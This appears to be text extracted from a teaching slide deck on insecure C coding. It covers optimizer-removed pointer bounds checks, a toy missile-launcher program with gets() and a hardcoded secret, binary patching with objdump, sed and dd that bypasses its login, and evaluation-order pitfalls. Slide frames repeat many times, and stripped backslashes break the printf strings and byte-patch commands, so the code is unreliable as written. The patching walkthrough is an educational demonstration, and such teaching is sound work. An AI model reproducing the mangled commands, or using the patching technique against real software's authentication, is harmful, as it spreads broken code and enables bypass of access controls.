if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
When the optimizer kicked in, this happened...
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Perhaps a bit surprising?
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Perhaps a bit surprising?
Inconceivable!
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset,
unsigned char * end, unsigned char value)
{
printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end);
if (ptr + offset >= end) {
printf(" --> out of boundsn");
return;
}
if (ptr + offset < ptr) {
printf(" --> wrapn");
return;
}
printf(" --> poke %d into %pn", value, ptr + offset);
// TODO: implement this...
}
Perhaps a bit surprising?
Inconceivable!
Now we have a function that was supposed to be safe, but due to new optimization
rules it turned into a general purpose function for poking data into memory.
more stuff...
Insecure coding in C (and C++)
Let us revisit our initial program.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
Let us revisit our initial program.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
You might try to fix this program by replacing
gets() with fgets() and add all the security
flags to the compiler and enable all protection
mechanisms in the operating system.
Let us revisit our initial program.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
You might try to fix this program by replacing
gets() with fgets() and add all the security
flags to the compiler and enable all protection
mechanisms in the operating system.
But do not forget about the simplest ways to
hack into this program if you have access to
the executable binary.
Let us revisit our initial program.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
You might try to fix this program by replacing
gets() with fgets() and add all the security
flags to the compiler and enable all protection
mechanisms in the operating system.
But do not forget about the simplest ways to
hack into this program if you have access to
the executable binary.
$ strings ./launch
...
Launching %d missiles
Secret:
Joshua
Access granted
Access denied
WarGames MissileLauncher v0.1
Operation complete
...
$ echo "Joshua" | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 2 missiles
Operation complete
$
Let us revisit our initial program.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
If you disassemble the file you can easily find
the n_missiles and allowaccess variable.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ objdump -M intel -d ./launch
...
<authenticate_and_launch>:
55 push ebp
89 e5 mov ebp,esp
83 ec 38 sub esp,0x38
65 a1 14 00 00 00 mov eax,gs:0x14
89 45 f4 mov DWORD PTR [ebp-0xc],eax
31 c0 xor eax,eax
c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2
c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0
...
$ cp ./launch ./launch_mod
$ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod
$ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod
$ ./launch_mod
WarGames MissileLauncher v0.1
Secret: Foo
Access granted
Launching 42 missiles
Operation complete
$
And then just change the initialization of these
variables.
Insecure coding in C (and C++)
void my_authenticate_and_launch(void)
{
char str[] = "David rocks!";
puts(str);
launch_missiles(1983);
}
void my_authenticate_and_launch(void)
{
char str[] = "David rocks!";
puts(str);
launch_missiles(1983);
}
void my_authenticate_and_launch(void)
{
char str[] = "David rocks!";
puts(str);
launch_missiles(1983);
}
55 push ebp
89 e5 mov ebp,esp
83 ec 28 sub esp,0x28
c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
8d 45 eb lea eax,[ebp-0x15]
89 04 24 mov DWORD PTR [esp],eax
e8 8e fe ff ff call 80483d0 <puts@plt>
c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf
e8 af ff ff ff call 80484fd <launch_missiles>
c9 leave
c3 ret
void my_authenticate_and_launch(void)
{
char str[] = "David rocks!";
puts(str);
launch_missiles(1983);
}
55 push ebp
89 e5 mov ebp,esp
83 ec 28 sub esp,0x28
c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
8d 45 eb lea eax,[ebp-0x15]
89 04 24 mov DWORD PTR [esp],eax
e8 8e fe ff ff call 80483d0 <puts@plt>
c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf
e8 af ff ff ff call 80484fd <launch_missiles>
c9 leave
c3 ret
void my_authenticate_and_launch(void)
{
char str[] = "David rocks!";
puts(str);
launch_missiles(1983);
}
55 push ebp
89 e5 mov ebp,esp
83 ec 28 sub esp,0x28
c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
8d 45 eb lea eax,[ebp-0x15]
89 04 24 mov DWORD PTR [esp],eax
e8 8e fe ff ff call 80483d0 <puts@plt>
c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf
e8 af ff ff ff call 80484fd <launch_missiles>
c9 leave
c3 ret
$ cp launch launch_mod
$ printf "x55x89xe5x83xecx28xc7x45xebx44x61x76x69xc7x45xef
x64x20x72x6fxc7x45xf3x63x6bx73x21xc6x45xf7x00x8dx45xeb
x89x04x24xe8x8exfexffxffxc7x04x24xbfx07x00x00xe8xafxff
xffxffxc9xc3" | dd conv=notrunc of=launch_mod bs=1 seek=$((0x518))
$ ./launch_mod
WarGames MissileLauncher v0.1
David rocks!
Launching 1983 missiles
Operation complete
$
void my_authenticate_and_launch(void)
{
char str[] = "David rocks!";
puts(str);
launch_missiles(1983);
}
And finally, if you are not happy
with the functionality, you can
always just replace some of the
code in the program. In this case I
wrote a my own authenticate and
launch function.Then compiled it
locally on my machine. I did an
objdump of my new function, and
compared it with an objdump of
the old function.Then it was easy
to craft a patch needed to replace
the original function with my
own, and viola!
55 push ebp
89 e5 mov ebp,esp
83 ec 28 sub esp,0x28
c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
8d 45 eb lea eax,[ebp-0x15]
89 04 24 mov DWORD PTR [esp],eax
e8 8e fe ff ff call 80483d0 <puts@plt>
c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf
e8 af ff ff ff call 80484fd <launch_missiles>
c9 leave
c3 ret
$ cp launch launch_mod
$ printf "x55x89xe5x83xecx28xc7x45xebx44x61x76x69xc7x45xef
x64x20x72x6fxc7x45xf3x63x6bx73x21xc6x45xf7x00x8dx45xeb
x89x04x24xe8x8exfexffxffxc7x04x24xbfx07x00x00xe8xafxff
xffxffxc9xc3" | dd conv=notrunc of=launch_mod bs=1 seek=$((0x518))
$ ./launch_mod
WarGames MissileLauncher v0.1
David rocks!
Launching 1983 missiles
Operation complete
$
Some tricks for insecure coding in C and C++
c = a() + b();
c = a() + b();
c = a() + b();
which function will be called first?
c = a() + b();
C and C++ are among the few
programming languages where evaluation
order is mostly unspecified.This is an
example of unspecified behavior.
which function will be called first?
c = a() + b();
C and C++ are among the few
programming languages where evaluation
order is mostly unspecified.This is an
example of unspecified behavior.
which function will be called first?
Trick #1:
Write insecure code by depending on a
particular evaluation order
int a = 3;
int n = a * ++a;
int a = 3;
int n = a * ++a;
What is the value of n?
int a = 3;
int n = a * ++a;
What is the value of n?
Since the evaluation order here is not specified
the expression does not make sense. In this
particular example there is a so called
sequence point violation, and therefore
we get undefined behavior.
int a = 3;
int n = a * ++a;
What is the value of n?
Since the evaluation order here is not specified
the expression does not make sense. In this
particular example there is a so called
sequence point violation, and therefore
we get undefined behavior.
Trick #2:
#2 Write insecure code by breaking the
sequencing rules
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
12
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
12
$ clang foo.c && ./a.out
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
12
$ clang foo.c && ./a.out
11
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
printf("%dn", n);
}
foo.c
On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1):
$ gcc foo.c && ./a.out
12
$ clang foo.c && ./a.out
11
$ icc foo.c && ./a.out
What do you think will actually happen if you compile, link and run it in
your development environment?
#include <stdio.h>
int main(void)
{
int v[] = {0,2,4,6,8};
int i = 1;
int n = i + v[++i] + v[++i];
